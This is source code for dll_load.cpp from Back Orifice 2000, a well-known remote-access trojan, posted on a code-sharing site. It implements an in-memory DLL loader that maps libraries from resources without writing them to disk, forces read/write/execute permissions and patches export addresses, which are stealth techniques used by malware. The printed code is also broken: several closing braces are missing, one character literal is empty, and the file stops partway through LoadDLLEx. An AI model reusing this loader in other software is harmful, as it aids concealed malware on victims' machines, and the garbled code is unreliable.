dll_load.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:29k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // DLL_LOAD by dildog@l0pht.com
  16. // This is pretty far from a fully-implemented PE Executable
  17. // Loader, but it does the trick for loading DLLs from an image.
  18. // That way, we don't have to hit the disk too much, and it
  19. // allows one to package DLLs as resources (kinda like static linking a DLL... :)
  20. // Differences from Win32 DLL Loader:
  21. // GOOD Differences
  22. //  1. GetDLLProcAddress returns the -REAL- entry point of exported functions
  23. //     instead of some bullshit stub set up by the loader.
  24. //  2. New flags for loading 'REBIND_IMAGE_IMPORTS' allows you to load an
  25. //     image that has already been loaded and rebind its import table.
  26. //  3. New flag 'RWX_PERMISSIONS' allows you to load a DLL with read/write/execute
  27. //     permissions on all sections.
  28. //  4. New flag 'FORCE_LOAD_NEW_IMAGE' allows you to load a single DLL more than
  29. //     once at different base addresses.
  30. // BAD Differences
  31. //  1. Never sets GetLastError code. Just don't fuck up.
  32. //  2. Shared segments don't work in Windows 9x. They also don't work in either 9x or NT if the DLL is forced to be rebased.
  33. //  3. LOAD_WITH_ALTERED_SEARCH_PATH doesn't work.
  34. //  4. Only loads PE executables (well duh)
  35. //  5. 'Thread Attaching' doesn't work (so neither does TLS in most cases)
  36. //     This is because I don't have access to the kernel necessarily (can't touch
  37. //     the thread information tables. Hell, if I could, I wouldn't need this stuff)
  38. //  6. Loading DLLs in different processes with different "dwFlags" via LoadDLLEx
  39. //     may have undesirable effects under Windows NT. Use with caution.
  40. //  7. 'Forwarder' support is kinda bunky. Kinda works tho.
  41. //  8. Resources can not be loaded from DLLs. Sigh. The problem is known
  42. //     and being worked on. May not have a solution.
  43. #include<windows.h>
  44. #include<winnt.h>
  45. #include<dll_load.h>
  46. #include<osversion.h>
  47. #pragma pack(push,1)
  48. typedef struct {
  49. DWORD dwPageRVA;
  50. DWORD dwBlockSize;
  51. } IMAGE_FIXUP_BLOCK, *PIMAGE_FIXUP_BLOCK;
  52. typedef struct {
  53. WORD offset:12;
  54. WORD type:4;
  55. } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
  56. typedef struct __imageparameters {
  57. void *pImageBase;
  58. char svName[MAX_PATH];
  59. DWORD dwFlags;
  60. int nLockCount;
  61. struct __imageparameters *next;
  62. } IMAGE_PARAMETERS;
  63. typedef BOOL (WINAPI *DLLMAIN_T)(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); 
  64. #pragma pack(pop)
  65. // Process-global variables
  66. IMAGE_PARAMETERS *g_pImageParamHead;
  67. CRITICAL_SECTION g_DLLCrit;
  68. // Function implementations
  69. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  70. // Initialization Routines                                                                                 //
  71. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  72. void InitializeDLLLoad(void)
  73. {
  74. InitializeCriticalSection(&g_DLLCrit);
  75. g_pImageParamHead=NULL;
  76. }
  77. void KillDLLLoad(void)
  78. {
  79. IMAGE_PARAMETERS *cur,*next;
  80. cur=g_pImageParamHead;
  81. while(cur!=NULL) {
  82. next=cur->next;
  83. free(cur);
  84. cur=next;
  85. }
  86. DeleteCriticalSection(&g_DLLCrit);
  87. }
  88. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  89. // Internal DLL list management                                                                            //
  90. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  91. // returns 0 if just ref count increment, 1 if this is a new addition, -1 on error
  92. static int AddDLLReference(void *pImageBase, char *svName, DWORD dwFlags)
  93. {
  94. EnterCriticalSection(&g_DLLCrit);
  95. // Find DLL in list
  96. IMAGE_PARAMETERS *cur;
  97. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  98. if(cur->pImageBase==pImageBase) break;
  99. }
  100. if(cur!=NULL) {
  101. // increment dll count
  102. cur->nLockCount++;
  103. LeaveCriticalSection(&g_DLLCrit);
  104. return 0;
  105. // Add new dll to list
  106. cur=(IMAGE_PARAMETERS *)malloc(sizeof(IMAGE_PARAMETERS));
  107. if(cur==NULL) {
  108. LeaveCriticalSection(&g_DLLCrit);
  109. return -1;
  110. }
  111. cur->pImageBase=pImageBase;
  112. if(svName!=NULL) {
  113. lstrcpyn(cur->svName,svName, MAX_PATH);
  114. } else cur->svName[0]='';
  115. cur->nLockCount=1;
  116. cur->dwFlags=dwFlags;
  117. cur->next=g_pImageParamHead;
  118. g_pImageParamHead=cur;
  119. LeaveCriticalSection(&g_DLLCrit);
  120. return 1;
  121. }
  122. // returns 0 if just a reference count dec, 1 if fully removed from list, -1 on error
  123. static int RemoveDLLReference(void *pImageBase, char *svName, DWORD *pdwFlags)
  124. {
  125. EnterCriticalSection(&g_DLLCrit);
  126. // Find DLL in list
  127. IMAGE_PARAMETERS *cur,*prev;
  128. prev=NULL;
  129. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  130. if(cur->pImageBase==pImageBase) break;
  131. prev=cur;
  132. }
  133. if(cur==NULL) {
  134. LeaveCriticalSection(&g_DLLCrit);
  135. return -1;
  136. }
  137. // decrement dll count
  138. cur->nLockCount--;
  139. // look up dll information 
  140. *pdwFlags=cur->dwFlags;
  141. lstrcpyn(svName,cur->svName,MAX_PATH);
  142. // Remove if time to go
  143. if(cur->nLockCount==0) {
  144. if(prev==NULL) {
  145. g_pImageParamHead=g_pImageParamHead->next;
  146. free(cur);
  147. } else {
  148. prev->next=cur->next;
  149. free(cur);
  150. }
  151. LeaveCriticalSection(&g_DLLCrit);
  152. return 1;
  153. }
  154. LeaveCriticalSection(&g_DLLCrit);
  155. return 0;
  156. }
  157. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  158. // GetDLLHandle()                                                                                          //
  159. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  160. // Like GetModuleHandle(), returns null if the module is not loaded, returns a base address otherwise
  161. HMODULE GetDLLHandle(char *svName)
  162. {
  163. if(svName==NULL) return NULL;
  164. EnterCriticalSection(&g_DLLCrit);
  165. // Find DLL in list
  166. IMAGE_PARAMETERS *cur;
  167. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  168. if(lstrcmpi(cur->svName,svName)==0) break;
  169. }
  170. if(cur!=NULL) {
  171. LeaveCriticalSection(&g_DLLCrit);
  172. return (HMODULE) cur->pImageBase;
  173. LeaveCriticalSection(&g_DLLCrit);
  174. return NULL;
  175. }
  176. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  177. // GetDLLFileName()                                                                                          //
  178. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  179. // Like GetModuleFileName(), returns 0 on failure
  180. DWORD GetDLLFileName(HMODULE hModule, LPTSTR lpFileName, DWORD nSize)
  181. {
  182. if(hModule==NULL || lpFileName==NULL || nSize==0) return 0;
  183. DWORD dwRet;
  184. if((dwRet=GetModuleFileName(hModule,lpFileName,nSize))!=0) return dwRet;
  185. EnterCriticalSection(&g_DLLCrit);
  186. // Find DLL in list
  187. IMAGE_PARAMETERS *cur;
  188. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  189. if(cur->pImageBase==hModule) break;
  190. }
  191. if(cur!=NULL) {
  192. LeaveCriticalSection(&g_DLLCrit);
  193. lstrcpyn(lpFileName,cur->svName,nSize);
  194. return lstrlen(lpFileName);
  195. LeaveCriticalSection(&g_DLLCrit);
  196. return 0;
  197. }
  198. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  199. // GetDLLProcAddress()                                                                                          //
  200. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  201. // Like GetProcAddress(), returns null if the procedure/ordinal is not there, otherwise returns function addr.
  202. FARPROC GetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName)
  203. {
  204. if(hModule==NULL) return NULL;
  205. // Get header
  206. PIMAGE_OPTIONAL_HEADER   poh;
  207.     poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (hModule);
  208.     
  209. // Get number of image directories in list
  210. int nDirCount;
  211. nDirCount=poh->NumberOfRvaAndSizes;
  212. if(nDirCount<16) return FALSE;
  213. // - Sift through export table -----------------------------------------------
  214. if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size==0) return NULL;
  215. // Good, we have an export table. Lets get it.
  216. PIMAGE_EXPORT_DIRECTORY ped;
  217. ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  218. // Get ordinal of desired function
  219. int nOrdinal;
  220. if(HIWORD((DWORD)lpProcName)==0) {
  221. nOrdinal=(LOWORD((DWORD)lpProcName)) - ped->Base;
  222. } else {
  223. // Go through name table and find appropriate ordinal
  224. int i,count;
  225. DWORD *pdwNamePtr;
  226. WORD *pwOrdinalPtr;
  227. count=ped->NumberOfNames;
  228. pdwNamePtr=(DWORD *)RVATOVA(hModule,ped->AddressOfNames);
  229. pwOrdinalPtr=(WORD *)RVATOVA(hModule,ped->AddressOfNameOrdinals);
  230. for(i=0;i<count;i++) {
  231. // XXX should be a binary search, but, again, fuck it.
  232. char *svName;
  233. svName=(char *)RVATOVA(hModule,*pdwNamePtr);
  234. if(lstrcmp(svName,lpProcName)==0) {
  235. nOrdinal=*pwOrdinalPtr;
  236. break;
  237. }
  238. pdwNamePtr++;
  239. pwOrdinalPtr++;
  240. }
  241. if(i==count) return NULL;
  242. }
  243. // Look up RVA of this ordinal
  244. DWORD *pAddrTable;
  245. DWORD dwRVA;
  246. pAddrTable=(DWORD *)RVATOVA(hModule,ped->AddressOfFunctions);
  247. dwRVA=pAddrTable[nOrdinal];
  248. // Check if it's a forwarder, or a local addr
  249. // XXX  Should probably do this someday. Just don't define forwarders. You're
  250. // XXX  not loading kernel32.dll with this shit anyway.
  251. DWORD dwAddr;
  252. dwAddr=(DWORD) RVATOVA(hModule,dwRVA);
  253. return (FARPROC) dwAddr;
  254. }
  255. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  256. // SetDLLProcAddress()                                                                                          //
  257. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  258. // Modifies an image. Must be loaded with RWX_PERMISSIONS, or have the export
  259. // table writable
  260. FARPROC SetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName, FARPROC fpAddr)
  261. {
  262. if(hModule==NULL) return FALSE;
  263. // Get header
  264. PIMAGE_OPTIONAL_HEADER   poh;
  265.     poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (hModule);
  266.     
  267. // Get number of image directories in list
  268. int nDirCount;
  269. nDirCount=poh->NumberOfRvaAndSizes;
  270. if(nDirCount<16) return FALSE;
  271. // - Sift through export table -----------------------------------------------
  272. if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size==0) return FALSE;
  273. // Good, we have an export table. Lets get it.
  274. PIMAGE_EXPORT_DIRECTORY ped;
  275. ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  276. // Get ordinal of desired function
  277. int nOrdinal;
  278. if(HIWORD((DWORD)lpProcName)==0) {
  279. nOrdinal=(LOWORD((DWORD)lpProcName)) - ped->Base;
  280. } else {
  281. // Go through name table and find appropriate ordinal
  282. int i,count;
  283. DWORD *pdwNamePtr;
  284. WORD *pwOrdinalPtr;
  285. count=ped->NumberOfNames;
  286. pdwNamePtr=(DWORD *)RVATOVA(hModule,ped->AddressOfNames);
  287. pwOrdinalPtr=(WORD *)RVATOVA(hModule,ped->AddressOfNameOrdinals);
  288. for(i=0;i<count;i++) {
  289. // XXX should be a binary search, but, again, fuck it.
  290. char *svName;
  291. svName=(char *)RVATOVA(hModule,*pdwNamePtr);
  292. if(lstrcmp(svName,lpProcName)==0) {
  293. nOrdinal=*pwOrdinalPtr;
  294. break;
  295. }
  296. pdwNamePtr++;
  297. pwOrdinalPtr++;
  298. }
  299. if(i==count) return FALSE;
  300. }
  301. // Replace with different virtual address
  302. // Look up RVA of this ordinal and replace with RVA of other function
  303. DWORD *pAddrTable=(DWORD *)RVATOVA(hModule,ped->AddressOfFunctions);
  304. DWORD dwOldAddr=(DWORD) RVATOVA(hModule,(pAddrTable[nOrdinal]));
  305. pAddrTable[nOrdinal]=(DWORD) VATORVA(hModule,((DWORD)fpAddr));
  306. return (FARPROC) dwOldAddr;
  307. }
  308. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  309. // ResetDLLProcAddress()                                                                                   //
  310. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  311. BOOL ResetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName)
  312. {
  313. char svName[MAX_PATH+1];
  314. if(GetDLLFileName(hModule,svName,MAX_PATH+1)) {
  315. // Load another copy of the DLL
  316. HMODULE hNewMod=LoadDLLEx(svName,NULL,FORCE_LOAD_NEW_IMAGE);
  317. if(hNewMod==NULL) return FALSE;
  318. DWORD dwAddr=(DWORD)GetDLLProcAddress(hNewMod,lpProcName);
  319. if(dwAddr==NULL) {
  320. FreeDLL(hNewMod);
  321. return FALSE;
  322. }
  323. DWORD dwNewAddr=(DWORD)RVATOVA(hModule,VATORVA(hNewMod,dwAddr));
  324. FreeDLL(hNewMod);
  325. SetDLLProcAddress(hModule,lpProcName,(FARPROC)dwNewAddr);
  326. return TRUE;
  327. }
  328. return FALSE;
  329. }
  330.   
  331. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  332. // Internal DLL Loader code                                                                                //
  333. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  334. static BOOL RunDLLMain(void *pImageBase, DWORD dwImageSize, BOOL bDetach)
  335. {
  336. // Get entry point from header
  337. PIMAGE_OPTIONAL_HEADER   poh;
  338. PIMAGE_FILE_HEADER pfh;
  339. DLLMAIN_T pDllMain;
  340.     pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET(pImageBase);
  341. if((pfh->Characteristics & IMAGE_FILE_DLL)==0) return TRUE;
  342. poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (pImageBase);
  343. pDllMain=(DLLMAIN_T) RVATOVA(pImageBase, poh->AddressOfEntryPoint);
  344. // Call dllmain the right way
  345. BOOL bRet;
  346. if(bDetach) {
  347. bRet=pDllMain((HMODULE) pImageBase, DLL_PROCESS_DETACH, NULL);
  348. } else {
  349. bRet=pDllMain((HMODULE) pImageBase, DLL_PROCESS_ATTACH, NULL);
  350. }
  351. return bRet;
  352. }
  353. BOOL PrepareDLLImage(void *pMemoryImage, DWORD dwImageSize, BOOL bResolve, BOOL bRebind)
  354. {
  355. // Get headers
  356. PIMAGE_OPTIONAL_HEADER   poh;
  357.     PIMAGE_SECTION_HEADER    psh;
  358.     poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (pMemoryImage);
  359.     psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pMemoryImage);
  360. // Get number of image directories in list
  361. int nDirCount;
  362. nDirCount=poh->NumberOfRvaAndSizes;
  363. if(nDirCount<16) return FALSE;
  364. // - Process import table -----------------------------------------------
  365. if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size!=0) {
  366. PIMAGE_IMPORT_DESCRIPTOR pid;
  367. pid=(IMAGE_IMPORT_DESCRIPTOR *)RVATOVA(pMemoryImage,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  368. // For all imported DLLs
  369. while(pid->OriginalFirstThunk!=0) {
  370. char *svDllName;
  371. svDllName=(char *) RVATOVA(pMemoryImage,pid->Name);
  372. // Map library into address space (could also use LoadDLL())
  373. HMODULE hDll;
  374. hDll=GetModuleHandle(svDllName);
  375. if(hDll==NULL) hDll=LoadLibrary(svDllName);
  376. if(hDll==NULL) return FALSE;
  377. // Bind if not bound already
  378. if(pid->TimeDateStamp==0 || bRebind) {
  379. // Store DLL infoz
  380. pid->ForwarderChain=(DWORD)hDll;
  381. pid->TimeDateStamp=0xCDC31337; // This is bullshit cuz I don't want to call libc.
  382. // Fill in Import Address Table
  383. PIMAGE_THUNK_DATA ptd_in,ptd_out;
  384. ptd_in=(PIMAGE_THUNK_DATA) RVATOVA(pMemoryImage, pid->OriginalFirstThunk);
  385. ptd_out=(PIMAGE_THUNK_DATA) RVATOVA(pMemoryImage, pid->FirstThunk);
  386. while(ptd_in->u1.Function!=NULL) {
  387. FARPROC func;
  388. // Determine if ordinal or name pointer
  389. if(ptd_in->u1.Ordinal & 0x80000000) {
  390. // Ordinal
  391. func=GetProcAddress(hDll,MAKEINTRESOURCE(ptd_in->u1.Ordinal));
  392. } else {
  393. // Function name
  394. PIMAGE_IMPORT_BY_NAME pibn;
  395. pibn=(PIMAGE_IMPORT_BY_NAME) RVATOVA(pMemoryImage,ptd_in->u1.AddressOfData);
  396. func=GetProcAddress(hDll,(char *)pibn->Name);
  397. }
  398. if(func==NULL) return FALSE;
  399. // Write address to appropriate location
  400. ptd_out->u1.Function = (PDWORD) func;
  401. ptd_in++;
  402. ptd_out++;
  403. }
  404. }
  405. pid++;
  406. }
  407. }
  408. // - Process relocation tables if necessary ----------------------------------
  409. // Calculate fixup delta
  410. DWORD delta;
  411. delta=(DWORD)pMemoryImage - (DWORD)poh->ImageBase;
  412. if((delta!=0) && (poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size!=0)) {
  413. PIMAGE_FIXUP_BLOCK pfb;
  414. pfb=(PIMAGE_FIXUP_BLOCK)RVATOVA(pMemoryImage,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  415. // For each fixup block
  416. while(pfb->dwPageRVA!=0) {
  417. PIMAGE_FIXUP_ENTRY pfe;
  418. int i,count;
  419. count=(pfb->dwBlockSize-sizeof(IMAGE_FIXUP_BLOCK))/sizeof(IMAGE_FIXUP_ENTRY);
  420. pfe=(PIMAGE_FIXUP_ENTRY)((char *)pfb + sizeof(IMAGE_FIXUP_BLOCK));
  421. // For each fixup entry
  422. for(i=0;i<count;i++) {
  423. void *fixaddr;
  424. int adjust;
  425. fixaddr=RVATOVA(pMemoryImage,pfb->dwPageRVA + pfe->offset);
  426. switch(pfe->type) {
  427. case IMAGE_REL_BASED_ABSOLUTE:
  428. break;
  429. case IMAGE_REL_BASED_HIGH:
  430. *((WORD *)fixaddr) += HIWORD(delta);
  431. break;
  432. case IMAGE_REL_BASED_LOW:
  433. *((WORD *)fixaddr) += LOWORD(delta);
  434. break;
  435. case IMAGE_REL_BASED_HIGHLOW:
  436. *((DWORD *)fixaddr) += delta;
  437. break;
  438. case IMAGE_REL_BASED_HIGHADJ: // This one's really fucked up.
  439. adjust=((*((WORD *)fixaddr)) << 16) | (*(WORD *)(pfe+1));
  440. adjust += delta;
  441. adjust += 0x00008000;
  442. *((WORD *)fixaddr) = HIWORD(adjust);
  443. pfe++;
  444. break;
  445. default:
  446. return FALSE;
  447. }
  448. pfe++;
  449. }
  450. pfb=(PIMAGE_FIXUP_BLOCK)((char *)pfb + pfb->dwBlockSize);
  451. }
  452. }
  453. return TRUE;
  454. }
  455. static BOOL ProtectDLLImage(void *pMemoryImage, BOOL bRWX)
  456. {
  457. // Get Number of Sections
  458. PIMAGE_FILE_HEADER pfh;
  459. int nSectionCount;
  460. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pMemoryImage);
  461. nSectionCount=pfh->NumberOfSections;
  462. // Get PE Header Length + Section Header Length
  463. PIMAGE_OPTIONAL_HEADER poh;
  464. DWORD hdrlen;
  465. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pMemoryImage);
  466. hdrlen=poh->SizeOfHeaders;
  467. // Protect sections one by one
  468. int i;
  469. PIMAGE_SECTION_HEADER psh;
  470. psh=(PIMAGE_SECTION_HEADER) SECHDROFFSET(pMemoryImage);
  471. for(i=0;i<nSectionCount;i++) {
  472. void *secMemAddr;
  473. int secLen;
  474. // Get Section Address
  475. secMemAddr  = (char *)RVATOVA(pMemoryImage, psh->VirtualAddress);
  476. secLen = psh->SizeOfRawData;
  477. // Parse Characteristics and protect memory appropriately
  478. DWORD newProtect=0,oldProtect;
  479. BOOL bWrite, bRead, bExec, bShared;
  480. bWrite  = (psh->Characteristics & IMAGE_SCN_MEM_WRITE)?TRUE:FALSE;
  481. bRead   = (psh->Characteristics & IMAGE_SCN_MEM_READ)?TRUE:FALSE;
  482. bExec   = (psh->Characteristics & IMAGE_SCN_MEM_EXECUTE)?TRUE:FALSE;
  483. bShared = (psh->Characteristics & IMAGE_SCN_MEM_SHARED)?TRUE:FALSE;
  484. if(bWrite && bRead && bExec && bShared) newProtect=PAGE_EXECUTE_READWRITE;
  485. else if(bWrite && bRead && bExec) newProtect=PAGE_EXECUTE_WRITECOPY;
  486. else if(bRead && bExec) newProtect=PAGE_EXECUTE_READ;
  487. else if(bExec) newProtect=PAGE_EXECUTE;
  488. else if(bWrite && bRead && bShared) newProtect=PAGE_READWRITE; 
  489. else if(bWrite && bRead) newProtect=PAGE_WRITECOPY;
  490. else if(bRead) newProtect=PAGE_READONLY;
  491. if(bRWX) newProtect=PAGE_WRITECOPY;
  492. if(psh->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) newProtect |= PAGE_NOCACHE;
  493. if(newProtect==0) return FALSE;
  494. VirtualProtect(secMemAddr,secLen,newProtect,&oldProtect);
  495. psh++;
  496. }
  497. return TRUE;
  498. }
  499. BOOL MapDLLFromImage(void *pDLLFileImage, void *pMemoryImage)
  500. {
  501. // Get Number of Sections
  502. PIMAGE_FILE_HEADER pfh;
  503. int nSectionCount;
  504. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pDLLFileImage);
  505. nSectionCount=pfh->NumberOfSections;
  506. // Get PE Header Length + Section Header Length
  507. PIMAGE_OPTIONAL_HEADER poh;
  508. DWORD hdrlen;
  509. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pDLLFileImage);
  510. hdrlen=poh->SizeOfHeaders;
  511. // Copy PE Header + Section Headers
  512. memcpy(pMemoryImage,pDLLFileImage,hdrlen);
  513. // Copy Sections one by one
  514. int i;
  515. PIMAGE_SECTION_HEADER psh;
  516. psh=(PIMAGE_SECTION_HEADER) SECHDROFFSET(pDLLFileImage);
  517. for(i=0;i<nSectionCount;i++) {
  518. void *secMemAddr, *secFileAddr;
  519. int secLen;
  520. // Copy Section data
  521. secMemAddr  = (char *)pMemoryImage + psh->VirtualAddress;
  522. secFileAddr = (char *)pDLLFileImage + psh->PointerToRawData;
  523. secLen = psh->SizeOfRawData;
  524. memcpy(secMemAddr,secFileAddr,secLen);
  525. psh++;
  526. }
  527. return TRUE;
  528. }
  529. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  530. // LoadDLLFromImage()                                                                                      //
  531. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  532. HMODULE LoadDLLFromImage(void *pDLLFileImage, char *svMappingName, DWORD dwFlags)
  533. {
  534. // Examine DOS Header
  535. PIMAGE_DOS_HEADER doshead;
  536. doshead=(PIMAGE_DOS_HEADER) pDLLFileImage;
  537. if(doshead->e_magic!=IMAGE_DOS_SIGNATURE) return NULL;
  538. // Ensure our input is of good length
  539. if(svMappingName!=NULL) {
  540. if(lstrlen(svMappingName) >= MAX_PATH) return NULL;
  541. }
  542. // Determine File Format
  543. if(*(DWORD *)NTSIGNATURE(pDLLFileImage) != IMAGE_NT_SIGNATURE) return NULL;
  544. // Get PE Header
  545. PIMAGE_FILE_HEADER pfh;
  546. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pDLLFileImage);
  547. // Ensure proper machine type
  548. //if(pfh->Machine!=IMAGE_FILE_MACHINE_I386) return NULL;
  549. // XXX Verify Characteristics
  550. // XXX I don't bother to do this yet.
  551. // Get Section Count
  552. int nSectionCount;
  553. nSectionCount=pfh->NumberOfSections;
  554. // Get PE Optional Header
  555. PIMAGE_OPTIONAL_HEADER poh;
  556. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pDLLFileImage);
  557. // Ensure we are an executable image, not a rom image
  558. if(poh->Magic!=0x010B) return NULL;
  559. // Get preferred image base and image length
  560. void *pPreferredImageBase;
  561. DWORD dwImageSize;
  562. pPreferredImageBase=(void *)poh->ImageBase;
  563. dwImageSize=poh->SizeOfImage;
  564. // Get base address of virtual image
  565. void *pImageBase;
  566. HANDLE hmapping=NULL;
  567. pImageBase=GetDLLHandle(svMappingName);
  568. if(pImageBase==NULL) {
  569. BOOL bCreated=FALSE;
  570. BOOL bRebased=FALSE;
  571. // If not mapped into this process, then we should map it now
  572. if(g_bIsWinNT) {
  573. // === Windows NT DLL Loading (supports shared sections) ===
  574. if(svMappingName!=NULL) {
  575. hmapping=OpenFileMapping(FILE_MAP_WRITE,TRUE,svMappingName);
  576. bCreated=FALSE;
  577. }
  578. if(hmapping==NULL) {
  579. hmapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,dwImageSize+SIZE_OF_PARAMETER_BLOCK,svMappingName);
  580. if(hmapping==NULL) return NULL;
  581. bCreated=TRUE;
  582. }
  583. // Try to load file mapping view at preferred image base (not gonna happen in Win9x..sigh)
  584. pImageBase=MapViewOfFileEx(hmapping,FILE_MAP_WRITE,0,0,0,pPreferredImageBase);
  585. if(pImageBase==NULL) {
  586. pImageBase=MapViewOfFileEx(hmapping,FILE_MAP_WRITE,0,0,0,NULL);
  587. }
  588. CloseHandle(hmapping);
  589. if(pImageBase==NULL) return NULL;
  590. } else {
  591. // === Windows 9x DLL Loading (does not support shared sections) ===
  592. pImageBase=VirtualAlloc(pPreferredImageBase,dwImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  593. if(pImageBase==NULL) {
  594. pImageBase=VirtualAlloc(NULL,dwImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  595. if(pImageBase==NULL) return NULL;
  596. }
  597. bCreated=TRUE;
  598. }
  599. // Now map DLL from file image into appropriate memory image (if just created)
  600. // Also remap if DLL is being rebased as well (gotta fix relocations)
  601. if(bCreated || (pImageBase!=pPreferredImageBase)) {
  602. if(!MapDLLFromImage(pDLLFileImage,pImageBase)) {
  603. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  604. else VirtualFree(pImageBase,0,MEM_RELEASE);
  605. return NULL;
  606. }
  607. }
  608. // Prepare DLL image (handle relocations/import/export/etc)
  609. if(!(dwFlags & LOAD_LIBRARY_AS_DATAFILE)) {
  610. if(!PrepareDLLImage(pImageBase, dwImageSize, (dwFlags & DONT_RESOLVE_DLL_REFERENCES)?FALSE:TRUE,(dwFlags & REBIND_IMAGE_IMPORTS)?TRUE:FALSE)) {
  611. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  612. else VirtualFree(pImageBase,0,MEM_RELEASE);
  613. return NULL;
  614. }
  615. // Resolve DLL references
  616. if(!(dwFlags & DONT_RESOLVE_DLL_REFERENCES)) {
  617. BOOL bRet;
  618. bRet=RunDLLMain(pImageBase,dwImageSize,DLL_ATTACH);
  619. if(!bRet) {
  620. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  621. else VirtualFree(pImageBase,0,MEM_RELEASE);
  622. return NULL;
  623. }
  624. }
  625. // Apply appropriate protections
  626. if(!ProtectDLLImage(pImageBase, (dwFlags & RWX_PERMISSIONS)?TRUE:FALSE) ){
  627. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  628. else VirtualFree(pImageBase,0,MEM_RELEASE);
  629. return NULL;
  630. }
  631. }
  632. }
  633. // Add to DLL table/increase reference count
  634. int dllaction;
  635. dllaction=AddDLLReference(pImageBase,svMappingName,dwFlags);
  636. if(dllaction==-1) {
  637. if(hmapping!=NULL) {
  638. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  639. else VirtualFree(pImageBase,0,MEM_RELEASE);
  640. }
  641. return NULL;
  642. }
  643. return (HMODULE) pImageBase;
  644. }
  645. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  646. // LoadDLLEx()                                                                                             //
  647. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  648. HMODULE LoadDLLEx(LPCTSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
  649. {
  650. char svPath[MAX_PATH+1];
  651. char *svFilePart;
  652. int nPathLen;
  653. // Find DLL File
  654. if(dwFlags & LOAD_WITH_ALTERED_SEARCH_PATH) {
  655. return NULL;
  656. } else {
  657. nPathLen=SearchPath(NULL,lpLibFileName,".dll",MAX_PATH,svPath,&svFilePart);
  658. if(nPathLen==0) return NULL;
  659. }
  660. // Open File
  661. HANDLE hfile=CreateFile(svPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  662. if(hfile==INVALID_HANDLE_VALUE) return NULL;
  663. // Create a file mapping
  664. HANDLE hmapping;
  665. hmapping=CreateFileMapping(hfile, NULL, PAGE_READONLY, 0, 0, NULL);
